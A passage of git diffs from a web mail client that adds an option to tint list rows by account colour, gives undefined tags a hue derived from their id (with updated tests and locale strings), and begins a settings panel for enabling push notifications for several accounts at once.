- {isUnifiedView && latestEmail.accountId && threadAccountColor && ( + {isUnifiedView && latestEmail.accountId && threadAccountColor && !tintListRowsByAccount && ( s.accounts); const activeAccountId = useAccountStore(s => s.activeAccountId); @@ -231,6 +231,13 @@ export function LayoutSettings() { /> + + updateSetting('tintListRowsByAccount', checked)} + /> + + { expect(result.current.tagColor('archive')).toBe(KEYWORD_PALETTE['red-dark']); }); - it('falls back to grey for a keyword this client has no definition for', () => { - // Set on the message by another client, or its tag was deleted here. + it('gives a keyword it has no definition for a hue of its own', () => { + // Set on the message by another client, applied by a server-side filter, + // or its tag was deleted here. One shared grey made every such tag look + // alike, which is when telling them apart matters most. const { result } = renderHook(() => useKeywordFormat()); - expect(result.current.tagColor('never-heard-of-it')).toBe(KEYWORD_PALETTE.gray); + expect(result.current.tagColor('never-heard-of-it')) + .toBe(KEYWORD_PALETTE[suggestKeywordColor('never-heard-of-it')]); }); - it('falls back to grey for a colour that is not in the palette', () => { + it('matches the colour the settings screen would propose for that tag', () => { + // Adopting a discovered tag must not make its colour jump. + const { result } = renderHook(() => useKeywordFormat()); + + for (const id of ['netflix', 'humb', 'ebay']) { + expect(result.current.tagColor(id)).toBe(KEYWORD_PALETTE[suggestKeywordColor(id)]); + } + }); + + it('keeps an undefined tag on the same hue across renders', () => { + const a = renderHook(() => useKeywordFormat()); + const b = renderHook(() => useKeywordFormat()); + + expect(a.result.current.tagColor('humb')).toBe(b.result.current.tagColor('humb')); + }); + + it('spreads undefined tags over several hues', () => { + const { result } = renderHook(() => useKeywordFormat()); + const ids = ['humb', 'alie', 'ebay', 'zoop', 'fire', 'nexu', 'ubis', 'tlsreports']; + + const dots = new Set(ids.map((id) => result.current.tagColor(id).dot)); + expect(dots.size).toBeGreaterThan(1); + }); + + it('derives a hue for a definition whose colour is not in the palette', () => { useSettingsStore.setState({ emailKeywords: [{ id: 'odd', label: 'Odd', color: 'chartreuse' }] }); const { result } = renderHook(() => useKeywordFormat()); - expect(result.current.tagColor('odd')).toBe(KEYWORD_PALETTE.gray); + expect(result.current.tagColor('odd')).toBe(KEYWORD_PALETTE[suggestKeywordColor('odd')]); }); }); diff --git a/hooks/use-keyword-format.ts b/hooks/use-keyword-format.ts index 91c05bba3..ae82caa65 100644 --- a/hooks/use-keyword-format.ts +++ b/hooks/use-keyword-format.ts @@ -8,6 +8,7 @@ import { type KeywordColor, } from "@/stores/settings-store"; import { formatKeyword, formatKeywordLabels, keywordRenderings } from "@/lib/keyword-format"; +import { suggestKeywordColor } from "@/lib/keyword-discovery"; /** * Names and colours tags for the screen, bound to the user's tag settings. @@ -31,13 +32,22 @@ export function useKeywordFormat() { tagNameCandidates: (id: string) => keywordRenderings(formatKeywordLabels(id, keywords, nested)), /** - * The tag's colour. Falls back to grey for a keyword this client has no - * definition for - one created on another device, or whose tag was - * deleted - so such a tag still shows rather than silently vanishing. + * The tag's colour. + * + * A keyword this client has no definition for - one created on another + * device, applied by a server-side filter, or whose tag was deleted - + * still gets a hue of its own, derived from its id by the same function + * that proposes colours for recovered tags. One shared grey made every + * such tag look alike, which is exactly when telling them apart matters: + * a mailbox filling up with server-assigned tags would show a single + * undifferentiated colour. The hue is a pure function of the id, so it is + * stable across reloads and devices, and it degrades to grey only when + * the proposal names a colour the palette does not hold. */ tagColor: (id: string): KeywordColor => { const color = keywords.find((keyword) => keyword.id === id)?.color; - return (color ? KEYWORD_PALETTE[color] : undefined) ?? KEYWORD_PALETTE[FALLBACK_KEYWORD_COLOR]; + if (color && KEYWORD_PALETTE[color]) return KEYWORD_PALETTE[color]; + return KEYWORD_PALETTE[suggestKeywordColor(id)] ?? KEYWORD_PALETTE[FALLBACK_KEYWORD_COLOR]; }, /** diff --git a/lib/account-utils.ts b/lib/account-utils.ts index 1f08671c0..f1c35592b 100644 --- a/lib/account-utils.ts +++ b/lib/account-utils.ts @@ -42,6 +42,41 @@ export function generateAvatarColor(email: string): string { return colors[Math.abs(hash) % colors.length]; } +/** + * The `KEYWORD_PALETTE` key whose tint matches an account's avatar colour. + * + * Row tints are Tailwind class pairs (light + dark) rather than raw colours, so + * an account's hex cannot be used directly as a background. Mapping onto the + * shared tag palette keeps account tints in the same visual language as tag + * tints and gets dark mode for free. + * + * These pick the palette's `-dark` variants. A tag tint can afford to be faint + * because the tag also shows a coloured chip, but an account tint replaces the + * account dot and has to carry that information on its own - the fainter + * variants are close to invisible against the row background. + * + * The palette has no violet, so the two purple-ish avatar hues would collide. + * Purple keeps `purple-dark` and violet falls back to the plain `purple`, whose + * lighter wash still tells the two apart. + */ +export function accountTintKey(avatarColor: string | undefined): string { + switch ((avatarColor ?? '').toLowerCase()) { + case '#2563eb': return 'blue-dark'; + case '#7c3aed': return 'purple'; + case '#db2777': return 'pink-dark'; + case '#dc2626': return 'red-dark'; + case '#ea580c': return 'orange-dark'; + case '#d97706': return 'amber-dark'; + case '#65a30d': return 'lime-dark'; + case '#16a34a': return 'green-dark'; + case '#0d9488': return 'teal-dark'; + case '#0891b2': return 'cyan-dark'; + case '#6366f1': return 'indigo-dark'; + case '#9333ea': return 'purple-dark'; + default: return 'gray-dark'; + } +} + /** Get initials for an avatar from a display name or email */ export function getInitials(name: string, email?: string): string { if (name) { diff --git a/locales/ar/common.json b/locales/ar/common.json index 53d4bf6d8..075504e55 100644 --- a/locales/ar/common.json +++ b/locales/ar/common.json @@ -1066,6 +1066,10 @@ "label": "تلوين صفوف القائمة بلون الوسم", "description": "تظليل كل صف رسالة بلون أول وسم فيها. عطّل هذا لإبقاء الصفوف عادية؛ ستظل نقاط الوسوم وشاراتها تظهر اللون." }, + "tint_list_rows_by_account": { + "label": "Tint List Rows by Account Color", + "description": "In the unified view, shade each row with its account color instead of showing the account dot. Takes precedence over the tag tint; tags keep their color on their chips." + }, "show_folder_total_count": { "label": "إظهار إجمالي عدد الرسائل", "description": "إظهار إجمالي عدد الرسائل بجانب المجلدات والوسوم، إلى جانب عدد غير المقروء. عطّل هذا لإظهار عدد غير المقروء فقط." diff --git a/locales/ca/common.json b/locales/ca/common.json index 686039db0..3446c10dc 100644 --- a/locales/ca/common.json +++ b/locales/ca/common.json @@ -1066,6 +1066,10 @@ "label": "Acoloreix les files de la llista segons l'etiqueta", "description": "Ombreja cada fila de missatge amb el color de la primera etiqueta. Desactiveu-ho per mantenir les files planes; els punts i les etiquetes encara mostraran el color." }, + "tint_list_rows_by_account": { + "label": "Tint List Rows by Account Color", + "description": "In the unified view, shade each row with its account color instead of showing the account dot. Takes precedence over the tag tint; tags keep their color on their chips." + }, "show_folder_total_count": { "label": "Mostra el nombre total de missatges", "description": "Mostra el nombre total de missatges al costat de les carpetes i etiquetes, juntament amb el nombre de no llegits. Desactiveu-ho per mostrar només els no llegits." diff --git a/locales/cs/common.json b/locales/cs/common.json index 5262ee69d..ae6833a34 100644 --- a/locales/cs/common.json +++ b/locales/cs/common.json @@ -1063,6 +1063,10 @@ "label": "Tint List Rows by Tag Color", "description": "Shade each message row with its first tag color. Disable to keep rows plain; tag dots and chips still show the color." }, + "tint_list_rows_by_account": { + "label": "Tint List Rows by Account Color", + "description": "In the unified view, shade each row with its account color instead of showing the account dot. Takes precedence over the tag tint; tags keep their color on their chips." + }, "show_folder_total_count": { "label": "Zobrazit celkový počet zpráv", "description": "Zobrazí celkový počet zpráv vedle složek a štítků spolu s počtem nepřečtených. Vypněte pro zobrazení pouze nepřečtených." diff --git a/locales/da/common.json b/locales/da/common.json index 09552435b..633e3eed7 100644 --- a/locales/da/common.json +++ b/locales/da/common.json @@ -1066,6 +1066,10 @@ "label": "Tint List Rows by Tag Color", "description": "Shade each message row with its first tag color. Disable to keep rows plain; tag dots and chips still show the color." }, + "tint_list_rows_by_account": { + "label": "Tint List Rows by Account Color", + "description": "In the unified view, shade each row with its account color instead of showing the account dot. Takes precedence over the tag tint; tags keep their color on their chips." + }, "show_folder_total_count": { "label": "Vis samlet antal beskeder", "description": "Viser det samlede antal beskeder ud for mapper og tags sammen med antallet af ulæste. Slå fra for kun at vise ulæste." diff --git a/locales/de/common.json b/locales/de/common.json index 2d39bfc03..2fc40ed71 100644 --- a/locales/de/common.json +++ b/locales/de/common.json @@ -1063,6 +1063,10 @@ "label": "Nachrichtenzeilen mit Tag-Farbe einfärben", "description": "Die einzelnen Nachrichtenzeilen mit der Farbe ihres ersten Tags einfärben. Deaktivieren Sie diese Option, um die Zeilen neutral zu halten; Tag-Punkte und -Markierungen zeigen die Farbe weiterhin an." }, + "tint_list_rows_by_account": { + "label": "Tint List Rows by Account Color", + "description": "In the unified view, shade each row with its account color instead of showing the account dot. Takes precedence over the tag tint; tags keep their color on their chips." + }, "show_folder_total_count": { "label": "Gesamtzahl der Nachrichten anzeigen", "description": "Zeigt neben Ordnern und Tags die Gesamtzahl der Nachrichten zusätzlich zur Anzahl ungelesener Nachrichten an. Deaktivieren, um nur ungelesene Nachrichten anzuzeigen." diff --git a/locales/en/common.json b/locales/en/common.json index 78a509e09..487e61539 100644 --- a/locales/en/common.json +++ b/locales/en/common.json @@ -1066,6 +1066,10 @@ "label": "Tint List Rows by Tag Color", "description": "Shade each message row with its first tag color. Disable to keep rows plain; tag dots and chips still show the color." }, + "tint_list_rows_by_account": { + "label": "Tint List Rows by Account Color", + "description": "In the unified view, shade each row with its account color instead of showing the account dot. Takes precedence over the tag tint; tags keep their color on their chips." + }, "show_folder_total_count": { "label": "Show Total Message Count", "description": "Show the total message count next to folders and tags, alongside the unread count. Disable to show only unread counts." diff --git a/locales/es/common.json b/locales/es/common.json index ae2413a7f..4c7fdf899 100644 --- a/locales/es/common.json +++ b/locales/es/common.json @@ -1063,6 +1063,10 @@ "label": "Tint List Rows by Tag Color", "description": "Shade each message row with its first tag color. Disable to keep rows plain; tag dots and chips still show the color." }, + "tint_list_rows_by_account": { + "label": "Tint List Rows by Account Color", + "description": "In the unified view, shade each row with its account color instead of showing the account dot. Takes precedence over the tag tint; tags keep their color on their chips." + }, "show_folder_total_count": { "label": "Mostrar el número total de mensajes", "description": "Muestra el número total de mensajes junto a las carpetas y etiquetas, además del número de mensajes no leídos. Desactívalo para mostrar solo los no leídos." diff --git a/locales/fa/common.json b/locales/fa/common.json index c454007f8..f678017d3 100644 --- a/locales/fa/common.json +++ b/locales/fa/common.json @@ -1066,6 +1066,10 @@ "label": "Tint List Rows by Tag Color", "description": "Shade each message row with its first tag color. Disable to keep rows plain; tag dots and chips still show the color." }, + "tint_list_rows_by_account": { + "label": "Tint List Rows by Account Color", + "description": "In the unified view, shade each row with its account color instead of showing the account dot. Takes precedence over the tag tint; tags keep their color on their chips." + }, "show_folder_total_count": { "label": "نمایش تعداد کل پیام‌ها", "description": "تعداد کل پیام‌ها را در کنار پوشه‌ها و برچسب‌ها، همراه با تعداد خوانده‌نشده‌ها نمایش می‌دهد. برای نمایش فقط تعداد خوانده‌نشده‌ها غیرفعال کنید." diff --git a/locales/fr/common.json b/locales/fr/common.json index 738fd0b3f..a4cb1c5f2 100644 --- a/locales/fr/common.json +++ b/locales/fr/common.json @@ -1063,6 +1063,10 @@ "label": "Tint List Rows by Tag Color", "description": "Shade each message row with its first tag color. Disable to keep rows plain; tag dots and chips still show the color." }, + "tint_list_rows_by_account": { + "label": "Tint List Rows by Account Color", + "description": "In the unified view, shade each row with its account color instead of showing the account dot. Takes precedence over the tag tint; tags keep their color on their chips." + }, "show_folder_total_count": { "label": "Afficher le nombre total de messages", "description": "Affiche le nombre total de messages à côté des dossiers et des étiquettes, en plus du nombre de messages non lus. Désactivez pour n'afficher que les messages non lus." diff --git a/locales/he/common.json b/locales/he/common.json index a03914d4f..aa46eb335 100644 --- a/locales/he/common.json +++ b/locales/he/common.json @@ -1028,6 +1028,10 @@ "label": "צביעת שורות הרשימה לפי צבע התגית", "description": "צובע כל שורת הודעה בצבע התגית הראשונה שלה. כבו כדי להשאיר את השורות ללא צבע; נקודות ותוויות התגיות עדיין יציגו את הצבע." }, + "tint_list_rows_by_account": { + "label": "Tint List Rows by Account Color", + "description": "In the unified view, shade each row with its account color instead of showing the account dot. Takes precedence over the tag tint; tags keep their color on their chips." + }, "show_folder_total_count": { "label": "הצגת מספר ההודעות הכולל", "description": "מציג את מספר ההודעות הכולל לצד תיקיות ותגיות, לצד מספר ההודעות שלא נקראו. כבו כדי להציג רק את מספר ההודעות שלא נקראו." diff --git a/locales/hu/common.json b/locales/hu/common.json index d348bccb5..bc77c03ab 100644 --- a/locales/hu/common.json +++ b/locales/hu/common.json @@ -1066,6 +1066,10 @@ "label": "Tint List Rows by Tag Color", "description": "Shade each message row with its first tag color. Disable to keep rows plain; tag dots and chips still show the color." }, + "tint_list_rows_by_account": { + "label": "Tint List Rows by Account Color", + "description": "In the unified view, shade each row with its account color instead of showing the account dot. Takes precedence over the tag tint; tags keep their color on their chips." + }, "show_folder_total_count": { "label": "Összes üzenet számának megjelenítése", "description": "Megjeleníti az üzenetek teljes számát a mappák és címkék mellett, az olvasatlanok számán túl. Kapcsolja ki, ha csak az olvasatlanok számát szeretné látni." diff --git a/locales/it/common.json b/locales/it/common.json index 30c7ab7af..56f606627 100644 --- a/locales/it/common.json +++ b/locales/it/common.json @@ -1063,6 +1063,10 @@ "label": "Tint List Rows by Tag Color", "description": "Shade each message row with its first tag color. Disable to keep rows plain; tag dots and chips still show the color." }, + "tint_list_rows_by_account": { + "label": "Colora le righe in base all'account", + "description": "Nella vista unificata, colora ogni riga con il colore del suo account invece di mostrare il pallino. Ha la precedenza sulla tinta del tag; i tag mantengono il loro colore sulle etichette." + }, "show_folder_total_count": { "label": "Mostra il numero totale di messaggi", "description": "Mostra il numero totale di messaggi accanto a cartelle ed etichette, insieme al conteggio dei non letti. Disattiva per mostrare solo i non letti." diff --git a/locales/ja/common.json b/locales/ja/common.json index c6555f190..7e0bfcedc 100644 --- a/locales/ja/common.json +++ b/locales/ja/common.json @@ -1063,6 +1063,10 @@ "label": "Tint List Rows by Tag Color", "description": "Shade each message row with its first tag color. Disable to keep rows plain; tag dots and chips still show the color." }, + "tint_list_rows_by_account": { + "label": "Tint List Rows by Account Color", + "description": "In the unified view, shade each row with its account color instead of showing the account dot. Takes precedence over the tag tint; tags keep their color on their chips." + }, "show_folder_total_count": { "label": "メッセージの総数を表示", "description": "フォルダーやタグの横に、未読数に加えてメッセージの総数を表示します。未読数のみを表示するには無効にします。" diff --git a/locales/ko/common.json b/locales/ko/common.json index 93f56bda1..6abadd24d 100644 --- a/locales/ko/common.json +++ b/locales/ko/common.json @@ -1063,6 +1063,10 @@ "label": "Tint List Rows by Tag Color", "description": "Shade each message row with its first tag color. Disable to keep rows plain; tag dots and chips still show the color." }, + "tint_list_rows_by_account": { + "label": "Tint List Rows by Account Color", + "description": "In the unified view, shade each row with its account color instead of showing the account dot. Takes precedence over the tag tint; tags keep their color on their chips." + }, "show_folder_total_count": { "label": "전체 메시지 수 표시", "description": "읽지 않은 수와 함께 폴더 및 태그 옆에 전체 메시지 수를 표시합니다. 읽지 않은 수만 표시하려면 비활성화하세요." diff --git a/locales/lv/common.json b/locales/lv/common.json index b31dd7047..a22b3c750 100644 --- a/locales/lv/common.json +++ b/locales/lv/common.json @@ -1063,6 +1063,10 @@ "label": "Tint List Rows by Tag Color", "description": "Shade each message row with its first tag color. Disable to keep rows plain; tag dots and chips still show the color." }, + "tint_list_rows_by_account": { + "label": "Tint List Rows by Account Color", + "description": "In the unified view, shade each row with its account color instead of showing the account dot. Takes precedence over the tag tint; tags keep their color on their chips." + }, "show_folder_total_count": { "label": "Rādīt kopējo ziņojumu skaitu", "description": "Rāda kopējo ziņojumu skaitu blakus mapēm un tagiem, kā arī nelasīto ziņojumu skaitu. Atspējojiet, lai rādītu tikai nelasītos." diff --git a/locales/mn/common.json b/locales/mn/common.json index 0fc2b17f2..f71dba10b 100644 --- a/locales/mn/common.json +++ b/locales/mn/common.json @@ -1066,6 +1066,10 @@ "label": "Тагийн өнгөөр эгнээнүүдийг будах", "description": "Мессежийн мөр бүрийг эхний шошгоны өнгөөр сүүдэрлээрэй. Мөрүүдийг энгийн байлгахын тулд идэвхгүй болгох; шошгоны цэгүүд болон чипүүд нь өнгийг харуулсан хэвээр байна." }, + "tint_list_rows_by_account": { + "label": "Tint List Rows by Account Color", + "description": "In the unified view, shade each row with its account color instead of showing the account dot. Takes precedence over the tag tint; tags keep their color on their chips." + }, "show_folder_total_count": { "label": "Нийт мессежийн тоог харуулах", "description": "Нийт мессежийн тоог хавтас, шошгоны хажууд уншаагүй тооны хажууд харуул. Зөвхөн уншаагүй тоонуудыг харуулахын тулд идэвхгүй болго." diff --git a/locales/nb/common.json b/locales/nb/common.json index 3648dccfc..b06a93ac1 100644 --- a/locales/nb/common.json +++ b/locales/nb/common.json @@ -1066,6 +1066,10 @@ "label": "Fargelegg meldingsrader etter etikett", "description": "Gi hver meldingsrad en svak bakgrunnsfarge basert på den første etiketten. Deaktiver dette for nøytrale rader; etikettmarkørene viser fortsatt fargen." }, + "tint_list_rows_by_account": { + "label": "Tint List Rows by Account Color", + "description": "In the unified view, shade each row with its account color instead of showing the account dot. Takes precedence over the tag tint; tags keep their color on their chips." + }, "show_folder_total_count": { "label": "Vis totalt antall meldinger", "description": "Vis totalt antall meldinger ved siden av mapper og etiketter, sammen med antall uleste. Deaktiver for å vise bare antall uleste." diff --git a/locales/nl/common.json b/locales/nl/common.json index 12e564a77..fcc56ac43 100644 --- a/locales/nl/common.json +++ b/locales/nl/common.json @@ -1063,6 +1063,10 @@ "label": "Tint List Rows by Tag Color", "description": "Shade each message row with its first tag color. Disable to keep rows plain; tag dots and chips still show the color." }, + "tint_list_rows_by_account": { + "label": "Tint List Rows by Account Color", + "description": "In the unified view, shade each row with its account color instead of showing the account dot. Takes precedence over the tag tint; tags keep their color on their chips." + }, "show_folder_total_count": { "label": "Totaal aantal berichten tonen", "description": "Toont het totale aantal berichten naast mappen en labels, naast het aantal ongelezen berichten. Schakel uit om alleen ongelezen aantallen te tonen." diff --git a/locales/pl/common.json b/locales/pl/common.json index e903226ee..796a0a66c 100644 --- a/locales/pl/common.json +++ b/locales/pl/common.json @@ -1063,6 +1063,10 @@ "label": "Tint List Rows by Tag Color", "description": "Shade each message row with its first tag color. Disable to keep rows plain; tag dots and chips still show the color." }, + "tint_list_rows_by_account": { + "label": "Tint List Rows by Account Color", + "description": "In the unified view, shade each row with its account color instead of showing the account dot. Takes precedence over the tag tint; tags keep their color on their chips." + }, "show_folder_total_count": { "label": "Pokaż łączną liczbę wiadomości", "description": "Pokazuje łączną liczbę wiadomości obok folderów i etykiet, obok liczby nieprzeczytanych. Wyłącz, aby pokazywać tylko nieprzeczytane." diff --git a/locales/pt/common.json b/locales/pt/common.json index bb8f8c8fc..39659b47e 100644 --- a/locales/pt/common.json +++ b/locales/pt/common.json @@ -1063,6 +1063,10 @@ "label": "Tint List Rows by Tag Color", "description": "Shade each message row with its first tag color. Disable to keep rows plain; tag dots and chips still show the color." }, + "tint_list_rows_by_account": { + "label": "Tint List Rows by Account Color", + "description": "In the unified view, shade each row with its account color instead of showing the account dot. Takes precedence over the tag tint; tags keep their color on their chips." + }, "show_folder_total_count": { "label": "Mostrar contagem total de mensagens", "description": "Mostra a contagem total de mensagens ao lado de pastas e etiquetas, além da contagem de não lidas. Desative para mostrar apenas as não lidas." diff --git a/locales/ro/common.json b/locales/ro/common.json index 0af8fbf90..b0d2f0d2e 100644 --- a/locales/ro/common.json +++ b/locales/ro/common.json @@ -1066,6 +1066,10 @@ "label": "Tint List Rows by Tag Color", "description": "Shade each message row with its first tag color. Disable to keep rows plain; tag dots and chips still show the color." }, + "tint_list_rows_by_account": { + "label": "Tint List Rows by Account Color", + "description": "In the unified view, shade each row with its account color instead of showing the account dot. Takes precedence over the tag tint; tags keep their color on their chips." + }, "show_folder_total_count": { "label": "Afișează numărul total de mesaje", "description": "Afișează numărul total de mesaje lângă foldere și etichete, pe lângă numărul celor necitite. Dezactivează pentru a afișa doar mesajele necitite." diff --git a/locales/ru/common.json b/locales/ru/common.json index bd08b879c..190f82a78 100644 --- a/locales/ru/common.json +++ b/locales/ru/common.json @@ -1063,6 +1063,10 @@ "label": "Tint List Rows by Tag Color", "description": "Shade each message row with its first tag color. Disable to keep rows plain; tag dots and chips still show the color." }, + "tint_list_rows_by_account": { + "label": "Tint List Rows by Account Color", + "description": "In the unified view, shade each row with its account color instead of showing the account dot. Takes precedence over the tag tint; tags keep their color on their chips." + }, "show_folder_total_count": { "label": "Показывать общее количество сообщений", "description": "Показывает общее количество сообщений рядом с папками и метками, наряду с количеством непрочитанных. Отключите, чтобы показывать только непрочитанные." diff --git a/locales/sk/common.json b/locales/sk/common.json index 2e17b787a..d455bb6ce 100644 --- a/locales/sk/common.json +++ b/locales/sk/common.json @@ -1066,6 +1066,10 @@ "label": "Tint List Rows by Tag Color", "description": "Shade each message row with its first tag color. Disable to keep rows plain; tag dots and chips still show the color." }, + "tint_list_rows_by_account": { + "label": "Tint List Rows by Account Color", + "description": "In the unified view, shade each row with its account color instead of showing the account dot. Takes precedence over the tag tint; tags keep their color on their chips." + }, "show_folder_total_count": { "label": "Zobraziť celkový počet správ", "description": "Zobraziť celkový počet správ vedľa priečinkov a štítkov spolu s počtom neprečítaných." diff --git a/locales/tr/common.json b/locales/tr/common.json index f6755de49..7f5def85e 100644 --- a/locales/tr/common.json +++ b/locales/tr/common.json @@ -1063,6 +1063,10 @@ "label": "Tint List Rows by Tag Color", "description": "Shade each message row with its first tag color. Disable to keep rows plain; tag dots and chips still show the color." }, + "tint_list_rows_by_account": { + "label": "Tint List Rows by Account Color", + "description": "In the unified view, shade each row with its account color instead of showing the account dot. Takes precedence over the tag tint; tags keep their color on their chips." + }, "show_folder_total_count": { "label": "Toplam mesaj sayısını göster", "description": "Klasörlerin ve etiketlerin yanında, okunmamış sayısının yanı sıra toplam mesaj sayısını gösterir. Yalnızca okunmamışları göstermek için devre dışı bırakın." diff --git a/locales/uk/common.json b/locales/uk/common.json index a896c863c..d4dfa07a4 100644 --- a/locales/uk/common.json +++ b/locales/uk/common.json @@ -1063,6 +1063,10 @@ "label": "Tint List Rows by Tag Color", "description": "Shade each message row with its first tag color. Disable to keep rows plain; tag dots and chips still show the color." }, + "tint_list_rows_by_account": { + "label": "Tint List Rows by Account Color", + "description": "In the unified view, shade each row with its account color instead of showing the account dot. Takes precedence over the tag tint; tags keep their color on their chips." + }, "show_folder_total_count": { "label": "Показувати загальну кількість повідомлень", "description": "Показує загальну кількість повідомлень поруч із теками та мітками, разом із кількістю непрочитаних. Вимкніть, щоб показувати лише непрочитані." diff --git a/locales/zh-TW/common.json b/locales/zh-TW/common.json index 289ce6d53..715a7bb1b 100644 --- a/locales/zh-TW/common.json +++ b/locales/zh-TW/common.json @@ -1066,6 +1066,10 @@ "label": "依標籤顏色為清單列上色", "description": "以第一個標籤的顏色為每封郵件列加上底色。停用後郵件列保持無底色,但標籤圓點與標籤仍會顯示該顏色。" }, + "tint_list_rows_by_account": { + "label": "Tint List Rows by Account Color", + "description": "In the unified view, shade each row with its account color instead of showing the account dot. Takes precedence over the tag tint; tags keep their color on their chips." + }, "show_folder_total_count": { "label": "顯示郵件總數", "description": "在信件匣與標籤旁顯示郵件總數及未讀數量。停用後只顯示未讀數量。" diff --git a/locales/zh/common.json b/locales/zh/common.json index 2cf732396..032b47736 100644 --- a/locales/zh/common.json +++ b/locales/zh/common.json @@ -1063,6 +1063,10 @@ "label": "Tint List Rows by Tag Color", "description": "Shade each message row with its first tag color. Disable to keep rows plain; tag dots and chips still show the color." }, + "tint_list_rows_by_account": { + "label": "Tint List Rows by Account Color", + "description": "In the unified view, shade each row with its account color instead of showing the account dot. Takes precedence over the tag tint; tags keep their color on their chips." + }, "show_folder_total_count": { "label": "显示邮件总数", "description": "在文件夹和标签旁边显示邮件总数,以及未读数量。停用后仅显示未读数量。" diff --git a/stores/settings-store.ts b/stores/settings-store.ts index 75d8372c6..4e5065fcf 100644 --- a/stores/settings-store.ts +++ b/stores/settings-store.ts @@ -454,6 +454,7 @@ interface SettingsState { // Sidebar colorfulSidebarIcons: boolean; // Tint folder icons by role (inbox blue, junk red, etc.) tintListRowsByTag: boolean; // Tint mail-list rows by the first tag color + tintListRowsByAccount: boolean; // In the unified view, tint rows by account colour instead of showing the account dot showFolderTotalCount: boolean; // Show total message count next to folders/tags (alongside unread) // Folders @@ -668,6 +669,7 @@ const DEFAULT_SETTINGS = { // Sidebar colorfulSidebarIcons: true, tintListRowsByTag: true, + tintListRowsByAccount: false, showFolderTotalCount: true, // Folders @@ -863,6 +865,7 @@ export const useSettingsStore = create()( faviconUnreadBadge: state.faviconUnreadBadge, colorfulSidebarIcons: state.colorfulSidebarIcons, tintListRowsByTag: state.tintListRowsByTag, + tintListRowsByAccount: state.tintListRowsByAccount, showFolderTotalCount: state.showFolderTotalCount, folderIcons: state.folderIcons, emailKeywords: state.emailKeywords, From e468b08fb718f05b2f054716e5b4a40441fa7b7a Mon Sep 17 00:00:00 2001 From: lucamzanon Date: Sat, 19 Sep 2026 05:33:10 +0200 Subject: [PATCH 007/358] feat: enable push notifications for several accounts at once The notification panel only ever addresses the account on screen, so arming a browser for five accounts meant switching account five times and answering the same permission prompt on each pass. The browser holds a single push subscription: enabling an account registers it against that one subscription rather than creating another. A section in the notification settings now lists every connected account with its current state and turns push on or off for the ones selected, walking them against the same subscription. A refusal at the browser level - unsupported, or permission denied - applies to every account, so it stops the walk instead of failing each account in turn and prompting repeatedly. --- components/settings/multi-account-push.tsx | 111 ++++++++++++++++++ components/settings/notification-settings.tsx | 3 + lib/__tests__/web-push.test.ts | 38 ++++++ lib/web-push.ts | 51 ++++++++ locales/ar/common.json | 12 ++ locales/ca/common.json | 12 ++ locales/cs/common.json | 12 ++ locales/da/common.json | 12 ++ locales/de/common.json | 12 ++ locales/en/common.json | 12 ++ locales/es/common.json | 12 ++ locales/fa/common.json | 12 ++ locales/fr/common.json | 12 ++ locales/he/common.json | 12 ++ locales/hu/common.json | 12 ++ locales/it/common.json | 12 ++ locales/ja/common.json | 12 ++ locales/ko/common.json | 12 ++ locales/lv/common.json | 12 ++ locales/mn/common.json | 12 ++ locales/nb/common.json | 12 ++ locales/nl/common.json | 12 ++ locales/pl/common.json | 12 ++ locales/pt/common.json | 12 ++ locales/ro/common.json | 12 ++ locales/ru/common.json | 12 ++ locales/sk/common.json | 12 ++ locales/tr/common.json | 12 ++ locales/uk/common.json | 12 ++ locales/zh-TW/common.json | 12 ++ locales/zh/common.json | 12 ++ 31 files changed, 527 insertions(+) create mode 100644 components/settings/multi-account-push.tsx diff --git a/components/settings/multi-account-push.tsx b/components/settings/multi-account-push.tsx new file mode 100644 index 000000000..fb0038d20 --- /dev/null +++ b/components/settings/multi-account-push.tsx @@ -0,0 +1,111 @@ +'use client'; + +import { useCallback, useEffect, useState } from 'react'; +import { useTranslations } from 'next-intl'; +import { Loader2 } from 'lucide-react'; +import { Button } from '@/components/ui/button'; +import { SettingsSection } from './settings-section'; +import { useAccountStore } from '@/stores/account-store'; +import { useAuthStore } from '@/stores/auth-store'; +import { disableWebPush, enableWebPushForAccounts, isWebPushEnabled, isWebPushSupported } from '@/lib/web-push'; + +/** + * Turn push on or off for several accounts at once. + * + * The per-account panel above only ever addresses the account on screen, so + * arming a fresh device used to mean switching account N times. One browser + * subscription already serves every account (see `enableWebPushForAccounts`); + * what was missing was a place to register them all against it in one go. + */ +export function MultiAccountPushSettings({ relayBaseUrl }: { relayBaseUrl?: string }) { + const t = useTranslations('settings.notifications.push_all'); + const accounts = useAccountStore(s => s.accounts); + // Re-read the client map whenever a connection appears or drops. + const revision = useAuthStore(s => s.connectedAccountsRevision); + const [enabled, setEnabled] = useState>({}); + const [chosen, setChosen] = useState>(new Set()); + const [busy, setBusy] = useState(false); + const [notice, setNotice] = useState(''); + + const connected = accounts.filter(a => a.isConnected && useAuthStore.getState().getClientForAccount(a.id)); + + const refresh = useCallback(async () => { + const entries = await Promise.all( + useAccountStore.getState().accounts.map(async a => [a.id, await isWebPushEnabled(a.id)] as const), + ); + setEnabled(Object.fromEntries(entries)); + }, []); + + useEffect(() => { void refresh(); }, [refresh, revision]); + + if (!isWebPushSupported() || connected.length < 2) return null; + + const toggle = (id: string, on: boolean) => setChosen(prev => { + const next = new Set(prev); + if (on) next.add(id); else next.delete(id); + return next; + }); + + const run = async (action: 'enable' | 'disable') => { + const auth = useAuthStore.getState(); + const targets = connected.filter(a => chosen.has(a.id)); + if (!targets.length) return; + setBusy(true); setNotice(''); + try { + if (action === 'enable') { + const outcome = await enableWebPushForAccounts( + targets.map(a => ({ accountId: a.id, client: auth.getClientForAccount(a.id)!, accountLabel: a.username })), + { relayBaseUrl }, + ); + setNotice(outcome.failed.length + ? t('result_partial', { enabled: outcome.enabled.length, failed: outcome.failed.length }) + : t('result_enabled', { count: outcome.enabled.length })); + } else { + // Teardown swallows its own failures, so every account ends up local-off. + for (const account of targets) { + await disableWebPush({ client: auth.getClientForAccount(account.id)!, relayBaseUrl }); + } + setNotice(t('result_disabled', { count: targets.length })); + } + setChosen(new Set()); + } finally { + setBusy(false); + await refresh(); + } + }; + + const allChosen = connected.length > 0 && connected.every(a => chosen.has(a.id)); + + return +
+ +
    + {connected.map(account =>
  • + +
  • )} +
+
+ + +
+ {notice &&

{notice}

} +
+
